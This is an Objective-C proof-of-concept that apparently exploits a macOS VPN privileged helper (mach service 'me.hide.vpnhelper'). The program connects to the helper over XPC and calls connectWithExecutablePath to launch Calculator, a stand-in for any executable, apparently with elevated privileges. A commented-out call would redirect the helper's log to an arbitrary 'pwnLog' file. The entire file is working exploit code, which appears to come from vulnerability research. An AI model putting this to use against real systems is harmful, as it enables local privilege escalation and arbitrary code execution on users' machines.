#import <Foundation/Foundation.h>

static NSString* kBGMXPCHelperMachServiceName = @"me.hide.vpnhelper";

@protocol BGMAppXPCProtocol
- (void) setLoggingDestinationWithUrl:(NSURL*)path;
- (void) connectWithExecutablePath:(NSString *)exec configFilePath:(NSString *)configPath configFileName:(NSString *)configName;
@end

int main(int argc, const char * argv[]) {
    
    NSString*  _serviceName = kBGMXPCHelperMachServiceName;
    
    NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
    [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(BGMAppXPCProtocol)]];
    [_agentConnection resume];
    
    id obj = [_agentConnection remoteObjectProxyWithErrorHandler:^(NSError *err) {
        NSLog(@"got an error: %@", err);
    }];
    
    //NSURL *url = [NSURL URLWithString:(@"file:///Users/research/Desktop/pwnLog")];
    //[obj setLoggingDestinationWithUrl:url];
    
    [obj connectWithExecutablePath:@"/Applications/Calculator.app/Contents/MacOS/Calculator" configFilePath:nil configFileName:nil];
    
    return 0;
}
